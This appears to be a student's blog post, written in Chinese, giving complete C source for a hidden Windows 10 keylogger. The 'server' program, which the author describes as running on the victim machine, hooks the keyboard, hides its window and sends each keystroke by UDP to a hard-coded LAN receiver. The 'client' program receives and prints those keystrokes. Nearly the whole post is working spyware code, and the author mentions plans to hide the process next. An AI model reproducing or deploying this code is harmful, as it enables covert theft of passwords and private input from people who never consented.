win10键盘监听

介绍

大二上学习Hook写的一个小例子,隐藏进程界面监听同一局域网下受害机的键盘,并将其键盘输入通过socket传输到接收机。以后可能会去尝试一下隐藏该进程。

server端

//server端,即受害机

#include <stdio.h>
#include <WinSock2.h>
#include <windows.h>
#include <process.h>

#pragma comment(lib, "ws2_32.lib")  //加载 ws2_32.dll

#define BUF_SIZE 100 
#define WH_KEYBOARD_LL 13

#pragma comment(lib,"user32.lib")
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )	//隐藏窗口

 /*
typedef struct {
  DWORD     vkCode;
  DWORD     scanCode;
  DWORD     flags;
  DWORD     time;
  ULONG_PTR dwExtraInfo;
} KBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;
*/ 

HHOOK MyHook;	//接收由SetWindowsHookEx返回的旧的钩子
int CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam);
int log(char vkcode);
int toClient(char vkcode);

//主函数
int main(){
	//隐藏窗口 
	HWND hwndDOS = GetForegroundWindow();
	ShowWindow(hwndDOS, SW_HIDE);
	
    //安装钩子
    MyHook = SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)&KeyboardProc,GetModuleHandle(NULL),NULL);
    MSG msg;
    while (GetMessage (&msg, NULL, 0, 0)!=-1){	//消息循环
    	TranslateMessage (&msg);
        DispatchMessage (&msg);
    }
 
    UnhookWindowsHookEx (MyHook);
    return 0;
}
 
//回调函数,用于处理截获的按键消息
int CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam){
	if (code >= HC_ACTION && wParam==WM_KEYDOWN){	//有键按下
		DWORD vk_code = ((KBDLLHOOKSTRUCT*)lParam)->vkCode;
		printf("lParam = %d code = %d HC_ACTION = %d WM_KEYDOWN=%d wParam = %d vk_code = %d\n",lParam,code,HC_ACTION,WM_KEYDOWN,wParam,vk_code);
    	BYTE ks[256];
    	GetKeyboardState(ks);
    	WORD w;
    	ToAscii(vk_code,0,ks,&w,0);
    	char ch =char(w); 
    	//log(ch);
    	//printf("%d ",vk_code);	//输出按键信息,注意这里按下和弹起都会输出
    	toClient(ch);
	}
	return CallNextHookEx(MyHook,code,wParam,lParam);  //将消息还给钩子链,不要影响别人
}
 
//记录到文件
int log(char vkcode){
	FILE *fl;
	fl=fopen("log.txt","a+");
	if(vkcode==13)
		fwrite("\r\n",1,2,fl);	//注意此处 count=2  
	else
		fwrite(&vkcode, sizeof(char), 1, fl);	//把按键字符 记录到文件
	//printf("write ok\n");
	fclose(fl);
	return 0;
}

//发送给client端 
int toClient(char vkcode){
	//初始化DLL
    WSADATA wsaData;
    WSAStartup(MAKEWORD(2, 2), &wsaData);
    
    //创建套接字
    SOCKET sock = socket(PF_INET, SOCK_DGRAM, 0);
    
    //服务器地址信息
    sockaddr_in servAddr;
    memset(&servAddr, 0, sizeof(servAddr));  //每个字节都用0填充
    servAddr.sin_family = PF_INET;
    servAddr.sin_addr.s_addr = inet_addr("192.168.3.14");
    servAddr.sin_port = htons(1234);
    
    //不断获取用户输入并发送给服务器,然后接受服务器数据
    sockaddr fromAddr;
    int addrLen = sizeof(fromAddr);
    char buffer[BUF_SIZE] = {0};
    buffer[0] = vkcode; 
    sendto(sock, buffer, strlen(buffer), 0, (struct sockaddr*)&servAddr, sizeof(servAddr));
    closesocket(sock);
    WSACleanup();
    return 0;
}

client端

//client端,即接收机

#include <stdio.h>
#include <winsock2.h>
#pragma comment (lib, "ws2_32.lib")  //加载 ws2_32.dll

#define BUF_SIZE 100

int main(){
    WSADATA wsaData;
    WSAStartup( MAKEWORD(2, 2), &wsaData);

    //创建套接字
    SOCKET sock = socket(AF_INET, SOCK_DGRAM, 0);

    //绑定套接字
    sockaddr_in servAddr;
    memset(&servAddr, 0, sizeof(servAddr));  //每个字节都用0填充
    servAddr.sin_family = PF_INET;  //使用IPv4地址
    servAddr.sin_addr.s_addr = htonl(INADDR_ANY); //自动获取IP地址
    servAddr.sin_port = htons(1234);  //端口
    bind(sock, (SOCKADDR*)&servAddr, sizeof(SOCKADDR));

    //接收客户端请求
    SOCKADDR clntAddr;  //客户端地址信息
    int nSize = sizeof(SOCKADDR);
    char buffer[BUF_SIZE];  //缓冲区
    while(1){
        int strLen = recvfrom(sock, buffer, BUF_SIZE, 0, &clntAddr, &nSize);
        //sendto(sock, buffer, strLen, 0, &clntAddr, nSize);
        printf("Message form cilent: %s\n", buffer);
    }

    closesocket(sock);
    WSACleanup();
    return 0;
}

运行结果

运行截图,win10虚拟机与本地机间进行测试

Snipaste_2020-08-20_18-49-42

受害机任务管理器中显示server.exe

Snipaste_2020-08-20_18-51-35

posted @ 2020-08-20 20:43  localhost_ha  阅读(699)  评论(0编辑  收藏  举报